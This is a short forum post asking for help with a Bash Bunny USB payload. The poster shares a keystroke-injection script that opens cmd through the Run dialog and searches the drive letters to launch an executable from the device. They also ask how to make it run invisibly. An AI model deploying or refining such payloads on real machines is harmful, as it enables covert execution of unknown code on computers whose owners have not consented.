Issues Running an Exe

[Zwite]

So I'm using hoppler's code to run an exe payload but after the code runs it opens up the file explorer for the Bash Bunny.

I have zero idea on how to go about fixing this and would appreciate any help possible.

I'm also trying to run the payload invisibly but have no idea how to start going about that either.

 

The Payload Code:

ATTACKMODE HID STORAGE

LED R SLOW

Q GUI r
Q DELAY 500
Q STRING cmd
Q ENTER

Q DELAY 500
Q STRING "for /l %a in (0) do ( for %a in (A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z) do if exist %a:/my_folder/my.exe (start %a:/my_folder/my.exe   & exit) )"
Q ENTER

LED OFF